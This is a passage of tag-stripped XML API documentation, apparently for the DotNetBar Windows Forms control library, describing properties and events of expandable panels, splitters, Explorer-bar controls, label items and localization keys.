instance of the object. + + Value of name attribute. + Value of href attribute. + + + + Defines delegate for MarkupLinkClick event. + + + + + Panel control with title bar that can be expanded or collapsed. + + + + + Called after either ColorScheme or ColorSchemeStyle has changed. If you override make sure that you call base implementation so default + processing can occur. + + + + + Used for design time support. + + true if property should be serialized. + + + + Resets the style to it's default value. + + + + + Resets the style to it's default value. + + + + + Resets the style to it's default value. + + + + + Called when AntiAlias property has changed. + + + + + Occurs before Expanded property is changed. You can cancel change of this property by setting Cancel=true on the event arguments. + + + + + Occurs after Expanded property has changed. You can handle ExpandedChanging event and have opportunity to cancel the change. + + + + + Indicates whether panel will hide the controls it contains when its collapsed and show them when its expanded. Default value is false. + + + + + Gets or sets whether the panel is collapsed/expanded when title bar is clicked. Default value is false. + + + + + Gets or sets the collapse/expand direction for the control. Default value causes the control to collapse from bottom to top. + + + + + Gets or sets whether panel is expanded or not. Default value is true. + + + + + Gets or sets animation time in milliseconds. Default value is 100 miliseconds. You can set this to 0 (zero) to disable animation. + + + + + Gets or sets the bounds of panel when expanded. This value is managed automatically by control based on the starting designer size and value + of Expanded property. + + + + + Gets or sets whether expand button is visible or not. Default value is true. + + + + + Returns bounds of expand button. Bounds are relative to the TitlePanel coordinates. + + + + + Gets or sets image that is used on title bar button to collapse panel. Default value is null which indicates + that system default image is used. + + + + + Gets or sets image that is used on title bar button to expand panel. Default value is null which indicates + that system default image is used. + + + + + Gets or sets the text for the title of the panel. + + + + + Gets or sets the title style. + + + + + Gets or sets the title style when mouse hovers over the title. + + + + + Gets or sets the title style when mouse button is pressed on the title. + + + + + Gets or sets the height of the title portion of the panel. Height must be greater than 0. Default is 26. + + + + + Gets reference to Panel control used as title bar. + + + + + Gets reference to the title bar expand button. + + + + + Gets or sets alignment of the expand button. + + + + + Gets the reference to the panel used as button when control is collapsed to the left or right. + + + + + Represents multi-functional splitter control. + + + + + Creates new instance of the object. + + + + + This member overrides Control.OnPaint. + + Event arguments. + + + + Resets BackgroundColor to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Resets BackgroundColor2 to it's default value. Used by windows forms designer design-time support. + + + + + Apply default splitter style colors. + + Style colors to apply. + + + + Gets or sets whether expandable control ExpandableControl assigned to this splitter is expaned or not. Default value is true. + + + + + Gets or sets whether Click event is triggering expand/collapse of the splitter. Default value is true. + + + + + Gets or sets whether DoubleClick event is triggering expand/collapse of the splitter. Default value is false. + + + + + Gets or sets whether splitter will act as expandable splitter. Default value is true. When set to true ExpandableControl property should be set to the control that should be expanded/collapsed. + + + + + Gets or sets the control that will be expanded/collapsed by the splitter. Default value is null. Expandable property should be also set to true (default) to enable expand/collapse functionality. + + + + + Gets or sets visual style of the control. Default value is eSplitterStyle.Office2003. + + + + + Gets or sets animation time in milliseconds. Default value is 100 miliseconds. You can set this to 0 (zero) to disable animation. + + + + + Gets or sets the shortcut key to expand/collapse splitter. + + + + + Gets or sets the background color for UI element. If used in combination with + BackgroundColor2 is specifies starting gradient color. + + + + + Gets or sets the color scheme color that is used as background color. Setting + this property overrides the setting of the corresponding BackColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BackColor property. + + + + + Gets or sets the target gradient background color for UI element. + + + + + Gets or sets the color scheme color that is used as target gradient background color. Setting + this property overrides the setting of the corresponding BackColor2 property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through BackColor2 property. + + + + + Gets or sets the background gradient angle. + + + + + Gets or sets the expand part fill color. + + + + + Gets or sets the color scheme color that is used expand part fill color. Setting + this property overrides the setting of the corresponding ExpandFillColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through ExpandFillColor property. + + + + + Gets or sets the expand part line color. + + + + + Gets or sets the color scheme color that is used expand part line color. Setting + this property overrides the setting of the corresponding ExpandLineColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through ExpandLineColor property. + + + + + Gets or sets the grip part dark color. + + + + + Gets or sets the color scheme color that is used grip part dark color. Setting + this property overrides the setting of the corresponding GripDarkColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through GripDarkColor property. + + + + + Gets or sets the expand part line color. + + + + + Gets or sets the color scheme color that is used expand part line color. Setting + this property overrides the setting of the corresponding GripLightColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through GripLightColor property. + + + + + Gets or sets the background color for UI element when mouse is over the element. If used in combination with + BackgroundColor2 is specifies starting gradient color. + + + + + Gets or sets the color scheme color that is used as background color when mouse is over the element. Setting + this property overrides the setting of the corresponding HotBackColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through HotBackColor property. + + + + + Gets or sets the target gradient background color for UI element when mouse is over the element. + + + + + Gets or sets the color scheme color that is used as target gradient background color when mouse is over the element. Setting + this property overrides the setting of the corresponding HotBackColor2 property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through HotBackColor2 property. + + + + + Gets or sets the background gradient angle when mouse is over the element. + + + + + Gets or sets the expand part fill color when mouse is over the element. + + + + + Gets or sets the color scheme color that is used expand part fill color when mouse is over the element. Setting + this property overrides the setting of the corresponding HotExpandFillColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through HotExpandFillColor property. + + + + + Gets or sets the expand part line color when mouse is over the element. + + + + + Gets or sets the color scheme color that is used expand part line color when mouse is over the element. Setting + this property overrides the setting of the corresponding HotExpandLineColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through HotExpandLineColor property. + + + + + Gets or sets the grip part dark color when mouse is over the element. + + + + + Gets or sets the color scheme color that is used grip part dark color when mouse is over the element. Setting + this property overrides the setting of the corresponding HotGripDarkColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through HotGripDarkColor property. + + + + + Gets or sets the grip part light color when mouse is over the element. + + + + + Gets or sets the color scheme color that is used grip part light color when mouse is over the element. Setting + this property overrides the setting of the corresponding HotGripLightColor property. + Color scheme colors are automatically managed and are based on current system colors. + That means if colors on the system change the color scheme will ensure that it's colors + are changed as well to fit in the color scheme of target system. Set this property to + eColorSchemePart.None to + specify explicit color to use through HotGripLightColor property. + + + + + Indicates the style of mutli-functional splitter control. + + + + + Specifies Office 2003 like splitter style and color scheme. + + + + + Specifies Mozilla like splitter style and color scheme. + + + + + Specifies Office 2007 like splitter style and color scheme. + + + + + Represents event arguments for ExpandedChanging and ExpandedChanged events. + + + + + Gets the action that caused the event, event source. + + + + + Gets or sets whether execution Expand event should be canceled. Applies only to ExpandedChanging event. Default is false. + + + + + Indicates new value for the Expanded property. + + + + + Represents the Outlook like Explorer-bar Control. + + + + + Creates new instance of side bar control. + + + + + Clean up any resources being used. + + + + + Returns true if color scheme has changed. + + + + + Resets color scheme to it's default value. + + + + + Creates the Graphics object for the control. + + The Graphics object for the control. + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Raises ItemLayoutUpdated event. + + Provides event arguments. + + + + Applies any layout changes and repaint the control. + + + + + Invokes ItemDoubleClick event. + + Reference to item double-clicked + Event arguments + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the first item that matches specified name. + + Item name to look for. + + + + + Ensures that item is displayed on the screen. Item needs to have it's Visible property set to true. This method will expand the group if needed or it will scroll control to display an item. + + Item to display. + + + + Returns the item located at specific client coordinates. + + X Coordinate + Y Coordinate + + + + + Invokes the DotNetBar Customize dialog. + + + + + Invokes SerializeItem event. + + Provides data for the event. + + + + Invokes DeserializeItem event. + + Provides data for the event. + + + + Loads the Side bar definition from file. + + Definition file name. + + + + Saves the Side bar definition to file. + + Definition file name. + + + + Occurs when Checked property of an button has changed. + + + + + Occurs when Item is clicked. + + + + + Occurs when Item is clicked. + + + + + Occurs when popup of type container is loading. + + + + + Occurs when popup of type container is unloading. + + + + + Occurs when popup item is about to open. + + + + + Occurs when popup item is closing. + + + + + Occurs just before popup window is shown. + + + + + Occurs when Item Expanded property has changed. + + + + + Occurs when mouse button is pressed. + + + + + Occurs when mouse button is released. + + + + + Occurs when mouse enters the item. + + + + + Occurs when mouse leaves the item. + + + + + Occurs when mouse moves over the item. + + + + + Occurs when mouse remains still inside an item for an amount of time. + + + + + Occurs when item loses input focus. + + + + + Occurs when item receives input focus. + + + + + Occurs when user changes the item position, removes the item, adds new item or creates new bar. + + + + + Occurs after an Item is removed from SubItemsCollection. + + + + + Occurs after an Item has been added to the SubItemsCollection. + + + + + Occurs when ControlContainerControl is created and contained control is needed. + + + + + Occurs when Text property of an Item has changed. + + + + + Use this event if you want to serialize the hosted control state directly into the DotNetBar definition file. + + + + + Use this event if you want to deserialize the hosted control state directly from the DotNetBar definition file. + + + + + Occurs after DotNetBar definition is loaded. + + + + + Occurs before an item in option group is checked and provides opportunity to cancel that. + + + + + Occurs before tooltip for an item is shown. Sender could be the BaseItem or derived class for which tooltip is being displayed or it could be a ToolTip object itself it tooltip is not displayed for any item in particular. + + + + + Occurs after an item has been serialized to XmlElement and provides you with opportunity to add any custom data + to serialized XML. This allows you to serialize any data with the item and load it back up in DeserializeItem event. + + + To serialize custom data to XML definition control creates handle this event and use CustomXmlElement + property on SerializeItemEventArgs to add new nodes or set attributes with custom data you want saved. + + + + + Occurs after an item has been de-serialized (load) from XmlElement and provides you with opportunity to load any custom data + you have serialized during SerializeItem event. + + + To de-serialize custom data from XML definition handle this event and use CustomXmlElement + property on SerializeItemEventArgs to retrive any data you saved in SerializeItem event. + + + + + Suspends the layout and painting of the control. When you want to perform multiple operations on the explorer bar and you want to ensure + that layout of the items on it and painting is not performed for performance and appearance reasons set this property to true. Once you + want to enable layout and painting set the property back to false and call RecalcLayout method. Default value is false. + + + + + Gets or sets Bar Color Scheme. + + + + + Specifies whether ExplorerBar is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Specifies the background style of the Explorer Bar. + + + + + Gets or sets the vertical spacing between the group items. + + + + + Occurs after internal item layout has been updated and items have valid bounds assigned. + + + + + Gets or sets whether anti-alias smoothing is used while painting. + + + + + Returns the collection of Explorer Bar Groups. + + + + + Gets or sets the form ExplorerBar is attached to. + + + + + Gets or sets the margin in pixels between the explorer bar groups and the edge of the control. + + + + + Gets or sets whether end-user can rearrange the items inside the panels. + + + + + Gets or sets whether animation is enabled. + + + + + Gets or sets maximum animation time in milliseconds. + + + + + Gets or sets whether native .NET Drag and Drop is used by side-bar to perform drag and drop operations. AllowDrop must be set to true to allow drop of the items on control. + + + + + Gets or sets whether external ButtonItem object is accepted in drag and drop operation. UseNativeDragDrop must be set to true in order for this property to be effective. + + + + + Applies the stock style to the object. + + + + + Gets or sets whether gray-scale algorithm is used to create automatic gray-scale images. Default is true. + + + + + Specifies custom image to be used as button on ExplorerBarGroup item to expand the group. Default value is null + which indicates that default button is used. + + + + + Specifies custom image to be used as button on ExplorerBarGroup item to expand the group. This image is used when mouse is over the button. Default value is null + which indicates that default button is used. + + + + + Specifies custom image to be used as button on ExplorerBarGroup item to expand the group. This image is used when user presses left mouse button while cursor is positioned over the button. Default value is null + which indicates that default button is used. + + + + + Specifies custom image to be used as button on ExplorerBarGroup item to collapse the group. Default value is null + which indicates that default button is used. + + + + + Specifies custom image to be used as button on ExplorerBarGroup item to collapse the group. + This Image is used when mouse is over the button. Default value is null + which indicates that default button is used. + + + + + Specifies custom image to be used as button on ExplorerBarGroup item to collapse the group. + This Image is used when left mouse button is pressed while cursor is over the button. Default value is null + which indicates that default button is used. + + + + + ImageList for images used on Items. Images specified here will always be used on menu-items and are by default used on all Bars. + + + + + ImageList for images displayed on the Group Item. + + + + + ImageList for large-sized images used on Items. + + + + + Indicates whether Tooltips are shown on Bars and menus. + + + + + Indicates whether item shortcut is displayed in Tooltips. + + + + + Gets or sets the item default accesibility action will be performed on. + + + + + Indicates whether Reset buttons is shown that allows end-user to reset the toolbar state. + + + + + Returns the reference to the container that containing the sub-items. + + + + + Gets whether any handlers have been defined for SerializeItem event. If no handles have been defined to optimize performance SerializeItem event will not be attempted to fire. + + + + + Gets whether any handlers have been defined for DeserializeItem event. If no handles have been defined to optimize performance DeserializeItem event will not be attempted to fire. + + + + + Gets/Sets Bar definition as XML string. + + + + + Indicates whether shortucts handled by items are dispatched to the next handler or control. + + + + + Represents the method that will handle the ItemRemoved event. + + + + + Provides layout for Explorer-Bar control. + + + + + Creates new instance of ExplorerBarContainerItem class. + + + + + Returns copy of ExplorerBarContainerItem item + + + + + Recalculates the size of the item + + + + + Paints this base container + + + + + Occurs when the mouse pointer is over the item and a mouse button is pressed. This is used by internal implementation only. + + + + + Occurs when the mouse pointer is over the item and a mouse button is released. This is used by internal implementation only. + + + + + Sets input focus to next visible item in Explorer Bar. + + True if focus was set to next visible item otherwise false. + + + + Sets input focus to previous visible item in Explorer Bar. + + True if focus was set to previous visible item otherwise false. + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Represents the Explorer-Bar Group item. + + + + + Creates new instance of ExplorerBarGroupItem. + + + + + Creates new instance of ExplorerBarGroupItem and assigns the name to it. + + Item name. + + + + Creates new instance of ExplorerBarGroupItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of ExplorerBarGroupItem item. + + + + + Returns the Font object to be used for drawing the item text. + + Font object. + + + + Occurs when the mouse pointer is moved over the item. This is used by internal implementation only. + + + + + Occurs when the mouse pointer is over the item and a mouse button is pressed. This is used by internal implementation only. + + + + + Occurs when the item is clicked. This is used by internal implementation only. + + + + + Called when Visibility of the items has changed. + + New Visible state. + + + + Overloaded. Serializes the item and all sub-items into the XmlElement. + + XmlElement to serialize the item to. + + + + Overloaded. Deserializes the Item from the XmlElement. + + Source XmlElement. + + + + Shows tooltip for this item. + + + + + Forces the repaint the item. + + + + + Applies default appearance to ExplorerBarGroupItem. + + + + + Specifies whether item is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Gets or sets whether expand button is visible. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Gets or sets whether drop shadow is displayed when non-themed display is used. + + + + + Gets the reference to ElementStyle object which describes visual appearance of the explorer group item title. + + + + + Gets the reference to ElementStyle object which describes visual appearance of the explorer group item title while mouse is over the title bar. + + + + + Gets or sets the item background style. + + + + + Gets or sets whether clicking the header of the control expands the item. + + + + + Applies the stock style to the object. + + + + + Applies new visual style to this the item and all of its sub-items. + + + + + Gets or sets expand button border color. + + + + + Gets or sets expand button back color. + + + + + Gets or sets expand button fore color. + + + + + Gets or sets hot expand button border color. + + + + + Gets or sets hot expand button back color. + + + + + Gets or sets hot expand button fore color. + + + + + Gets or sets a value indicating whether the item is enabled. + + + + + Gets the rectangle of the panel item Button. + + + + + Specifies the image. + + + + + Indicates whether XP themed special group colors are used for drawing. + + + + + Gets or sets the margin in pixels between the edge of the container and the items contained inside of it. Default value is 4. + + + + + Gets or sets whether text on sub items is wrapped on new line if it cannot fit the space available. + + + + + Specifies the index of the image if ImageList is used. + + + + + Summary description for frmCustomize. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Defines the generic container item that is used by toolbar, menu bar and other control for item layout. + + + + + Occurs when new item is added to the container. + + + + + Returns copy of GenericItemContainer item + + + + + Paints this base container + + + + + Recalculate Size of this item + + + + + This must be called by child item to let the parent know that its size + has been changed. + + + + + Occurs when the mouse pointer is over the item and a mouse button is released. This is used by internal implementation only. + + + + + Called when item owner has changed. + + + + + Return Sub Item at specified location + + + + + Set/Get does container wraps item into the new line when they exceed the container size + + + + + Specifies whether to display more items on popup menu or Bar. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Gets or sets whether container is system container used internally by DotNetBar. + + + + + When parent items does recalc size for its sub-items it should query + image size and store biggest image size into this property. + + + + + Gets or sets whether item container fills the container control completely. + + + + + Summary description for Hook. + + + + + Summary description for HTMLHelp. + + + + + Interface for designer-item integration. + + + + + Describes container support for setting the word-wrap behavior of it's sub-items. + + + + + Gets or sets whether sub items text will be word wrapped if it cannot fit the space allocated. + + + + + Summary description for ItemPaintArgs. + + + + + Holds reference to all unique items in the DotNetBar. + + + + + Provides context information for serialization. + + + + + Gets or sets reference to context XmlElement an item is being serialized to. + + + + + Gets or sets whether SerializeItem event handler has been defined and whether event should be fired. + + + + + Gets or sets whether DeserializeItem event handler has been defined and whether event should be fired. + + + + + Provides access to serializer. + + + + + + + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Represent an style for the item. + + + + + Default Constructor + + + + + Makes a copy of the ItemStyle object. + + New Instance of a ItemStyle object + + + + Paints the style. + + Graphics object + Target area + Text + Text area + Text Font + + + + Paints the style + + Graphics object + Target Area + Text + Text area + Text Font + Border Type + + + + Paints the style + + Graphics object + Target Area + + + + Paints the style text only. + + Graphics object + Text + Text area + Font + + + + Gets or sets whether text is drawn vertically by this style. + + + + + Gets or sets a background color or starting color for gradient background. + + + + + Gets or sets a background color or ending color for gradient background. + + + + + Gets or sets a text color. + + + + + Gets or sets the gradient angle. + + + + + Gets or sets the style Font + + + + + Gets or sets a value that determines whether text is displayed in multiple lines or one long line. + + + + + Specifies alignment of the text. + + + + + Specifies alignment of the text. + + + + + Specifies how to trim characters when text does not fit. + + + + + Specifies background image. + + + + + Specifies background image position when container is larger than image. + + + + + Specifies the transparency of background image. + + + + + Gets or sets the corner type. + + + + + Gets or sets the diameter in pixels of the corner type rounded or diagonal. + + + + + Gets or sets the border type. + + + + + Gets or sets dash style for single line border type. + + + + + Gets or sets the border sides that are displayed. + + + + + Gets or sets the border color. + + + + + Gets or sets the line tickness of single line border. + + + + + Gets or sets the left text margin. + + + + + Gets or sets the right text margin. + + + + + Gets or sets the top text margin. + + + + + Gets or sets the bottom text margin. + + + + + + ColorEx object that provides the transparency setting ability. + + + + + Constructor with Color Initialization. + + Color object + + + + Constructor with Color and Transparency Initialization. + + Color object + Transparency + + + + Returns the color object with the transparency set. + + Color object + + + + Gets or sets the Color object which does not include transparency. + + + + + Indicates the transparency for the color. + + + + + Specifies that color derived from system colors which is part of DotNetBar Color Scheme object is used. + Colors derived from system colors are automatically refreshed when + system colors are changed. + + + We recommend using this property to specify color rather than setting color directly. + Using colors that are derived from system colors improves uniform look of your application + and visual integration into user environment. + + + + + Returns empty ColorEx object. + + + + + Indicates whether object contain any color. + + + + + Gets or sets a background color or starting color for gradient background. + + + + + Gets or sets a background color or ending color for gradient background. + + + + + Gets or sets a text color. + + + + + Gets or sets the gradient angle. + + + + + Gets or sets the style Font + + + + + Gets or sets a value that determines whether text is displayed in multiple lines or one long line. + + + + + Specifies alignment of the text. + + + + + Specifies alignment of the text. + + + + + Specifies how to trim characters when text does not fit. + + + + + Specifies background image. + + + + + Specifies background image position when container is larger than image. + + + + + Specifies the transparency of background image. + + + + + Gets or sets the corner type. + + + + + Gets or sets the diameter in pixels of the corner type rounded or diagonal. + + + + + Gets or sets the border type. + + + + + Gets or sets dash style for single line border type. + + + + + Gets or sets the border sides that are displayed. + + + + + Gets or sets the border color. + + + + + Gets or sets the line tickness of single line border. + + + + + Gets or sets the left text margin. + + + + + Gets or sets the right text margin. + + + + + Gets or sets the top text margin. + + + + + Gets or sets the bottom text margin. + + + + + ColorEx object that provides the transparency setting ability. + + + + + Gets or sets the Color object which does not include transparency. + + + + + Indicates the transparency for the color. + + + + + Specifies that color derived from system colors which is part of DotNetBar Color Scheme object is used. + Colors derived from system colors are automatically refreshed when + system colors are changed. + + + We recommend using this property to specify color rather than setting color directly. + Using colors that are derived from system colors improves uniform look of your application + and visual integration into user environment. + + + + + Summary description for LabelItem. + + + + + Called when ImageTextSpacing property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Reset property to its default value. + + + + + Gets whether property should be serialized. + + + + + Gets whether property should be serialized. + + + + + Resets the SingleLineColor property to its default value. + + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Specifies spacing between label image and text. + + + + + Gets whether item supports text markup. Default is false. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Gets or sets the type of the border drawn around the label. + + + + + Gets or sets the border sides that are displayed. Default value specifies border on all 4 sides. + + + + + Gets or sets the background color of the label. + + + + + Gets or sets the text color. + + + + + Gets or sets the border line color when border is single line. + + + + + Gets or sets the horizontal text alignment. + + + + + Gets or sets the text vertical alignment. + + + + + Gets or sets the label font. + + + + + Gets or sets the left padding in pixels. + + + + + Gets or sets the right padding in pixels. + + + + + Gets or sets the top padding in pixels. + + + + + Gets or sets the bottom padding in pixels. + + + + + Gets or sets the width of the label in pixels. + + + + + Gets or sets the height of the label. + + + + + Gets or sets whether the label is drawn as a divider label. + + + + + Gets or sets a value that determines whether text is displayed in multiple lines or one long line. + + + + + Indicates whether label text is rendered using bold font unless the Font property is specifically set to different font. + + + + + Gets or sets the text associated with this item. + + + + + Specifies the label icon. Icons support alpha blending. + + + + + Specifies label image. + + + + + Specifies the index of the image for the label if ImageList is used. + + + + + Gets/Sets the image position inside the label. + + + + + Gets or sets text-orientation. Default is horizontal. + + + + + Gets or sets how vertical text is rotated when TextOrientation = Vertical. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on label instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Gets or sets the color of the symbol. + + + + + Gets or sets whether label hosted in multi-line ItemContainer triggers new line switch after label is processed. + + + + + Contains static keys that are used to discover localized text for internal controls. + + + + + Navigation Pane collapse button tooltip text. + + + + + Navigation Pane expand button tooltip text. + + + + + Bar auto-hide button tooltip text. + + + + + Bar customize button tooltip text. + + + + + Bar close button tooltip text. + + + + + Bar maximize button tooltip text. + + + + + CustomizeItem tooltip text. + + + + + CustomizeItem Add/Remove text. + + + + + CustomizeItem text for button that opens Customize dialog. + + + + + CustomizeItem text for Reset command. + + + + + Tooltip text for system button that displays overflow items. + + + + + Text for Customize Dialog caption. + + + + + Text for Customize Dialog toolbars tab. + + + + + Text for Customize Dialog commands tab. + + + + + Text for Customize Dialog options tab. + + + + + Text for Customize Dialog keyboard button. + + + + + Text for Customize Dialog close button. + + + + + Text for Customize Dialog new toolbar button. + + + + + Text for Customize Dialog rename toolbar button. + + + + + Text for Customize Dialog delete toolbar button. + + + + + Text for Customize Dialog reset toolbar button. + + + + + Text for Customize Dialog label that gives following instructions to user: + To add a command to Bar select the category and drag the command out of this box to a Bar. + + + + + Text for Customize Dialog categories label. + + + + + Text for Customize Dialog toolbars label. + + + + + Text for Customize Dialog options tab Personalized Menus and Toolbars label. + + + + + Text for Customize Dialog options tab Aways show full menus check box. + + + + + Text for Customize Dialog options tab Show full menus after a short delay check box. + + + + + Text for Customize Dialog options tab 'Reset my usage data' command. + + + + + Text for Customize Dialog options tab 'Other' labe. + + + + + + + Text for Customize Dialog options tab 'Menu Animation:' label. + + + + + Text for Customize Dialog options tab Menu Animation combo box None option. + + + + + Text for Customize Dialog options tab Menu Animation combo box System Default option. + + + + + Text for Customize Dialog options tab Menu Animation combo box Random option. + + + + + Text for Customize Dialog options tab Menu Animation combo box Unfold option. + + + + + Text for Customize Dialog options tab Menu Animation combo box Slide option. + + + + + Text for Customize Dialog Confirm delete of bar message box. + + + + + Text for Reset command on customize item context menu. + + + + + Text for Delete item command on customize item context menu. + + + + + Text for Change Name item command on customize item context menu. + + + + + Text for Default Style item command on customize item context menu. + + + + + Text for Text Only item command on customize item context menu. + + + + + Text for Image And Text item command on customize item context menu. + + + + + Text for Begin Group item command on customize item context menu. + + + + + Text MdiSystemItem Minimize button. + + + + + Text MdiSystemItem Restore button. + + + + + Text MdiSystemItem Close button. + + + + + Text MdiSystemItem menu Restore command. + + + + + Text MdiSystemItem menu Move command. + + + + + Text MdiSystemItem menu Size command. + + + + + Text MdiSystemItem menu Minimize command. + + + + + Text MdiSystemItem menu Maximize command. + + + + + Text MdiSystemItem menu Close command. + + + + + Text MdiSystemItem menu Next command. + + + + + Text Navigation Bar Show More Buttons menu item. + + + + + Text Navigation Bar Show Fewer Buttons menu item. + + + + + Text Navigation Bar Options menu item. + + + + + Text for Move Up button on Navigation Bar Options dialog box. + + + + + Text for Move Down button on Navigation Bar Options dialog box. + + + + + Text for Reset button on Navigation Bar Options dialog box. + + + + + Text for OK button on Navigation Bar Options dialog box. + + + + + Text for Cancel button on Navigation Bar Options dialog box. + + + + + Text for Navigation Bar Options dialog box title. + + + + + Text for Navigation Bar Options label which is displayed above the list box which lists all the controls. + + + + + Text for Rename Toolbar dialog caption. + + + + + Text for New Toolbar dialog caption. + + + + + Text for Bar Name label on Bar edit dialog (either rename or new). + + + + + Text for OK Button on Bar edit dialog (either rename or new). + + + + + Text for Cancel Button on Bar edit dialog (either rename or new). + + + + + Text for Invalid Name Message on Bar edit dialog (either rename or new). + + + + + Text displayed on Color Picker drop down Theme Colors label. + + + + + Text displayed on Color Picker drop down Standard Colors label. + + + + + Text displayed on Color Picker drop down more colors menu item. + + + + + Text for the OK Button on Color Picker dialog. + + + + + Text for the Cancel Button on Color Picker dialog. + + + + + Text for the new color label on Color Picker dialog. + + + + + Text for the current color label on Color Picker dialog. + + + + + Text for the colors label on the standard colors tab. + + + + + Text for the colors label on the custom colors tab. + + + + + Text for the green component label on the custom colors tab. + + + + + Text for the blue component label on the custom colors tab. + + + + + Text for the red component label on the custom colors tab. + + + + + Text for the Color Model label on the custom colors tab. + + + + + Text for the RGB combo box item choice on the custom colors tab. + + + + + Text for the Standard tab on color picker dialog. + + + + + Text for the Custom tab on color picker dialog. + + + + + Text for the Custom tab on color picker dialog. + + + + + Text for the Custom tab on color picker dialog. + + + + + Indicates the text for Today button displayed on the MonthCalendarItem control. + + + + + Indicates the text for Clear button displayed on the MonthCalendarItem control. + + + + + Indicates the text for MessageBoxEx Abort button. + + + + + Indicates the text for MessageBoxEx Cancel button. + + + + + Indicates the text for MessageBoxEx Close button. + + + + + Indicates the text for MessageBoxEx Continue button. + + + + + Indicates the text for MessageBoxEx Help button. + + + + + Indicates the text for MessageBoxEx Ignore button. + + + + + Indicates the text for MessageBoxEx No button. + + + + + Indicates the text for MessageBoxEx OK button. + + + + + Indicates the text for MessageBoxEx Retry button. + + + + + Indicates the text for MessageBoxEx Try Again button. + + + + + Indicates the text for MessageBoxEx Yes button. + + + + + Identifies Form system menu Restore item. + + + + + Identifies Form system menu Move item. + + + + + Identifies Form system menu Size item. + + + + + Identifies Form system menu Minimize item. + + + + + Identifies Form system menu Maximize item. + + + + + Identifies Form system menu Close item. + + + + + Identifies Time Selector OK button. + + + + + Identifies Time Selector Clear button. + + + + + Identifies Time Selector Hour Label. + + + + + Identifies Time Selector Minute Label. + + + + + Identifies 'Show all' Filter Expression label. + + + + + Identifies 'Show null' Filter Expression label. + + + + + Identifies 'Show not null' Filter Expression label. + + + + + Identifies 'Custom' Filter Expression label. + + + + + Identifies 'Enter expression' Filter text. + + + + + Identifies 'Apply' Filter Expression button label. + + + + + Identifies 'Apply' Filter Expression button label. + + + + + Identifies 'Apply' Filter Expression button label. + + + + + Identifies 'Ok' Filter Expression button label. + + + + + Identifies 'Cancel' Filter Expression button label. + + + + + Identifies 'Close' Filter Expression button label. + + + + + Identifies 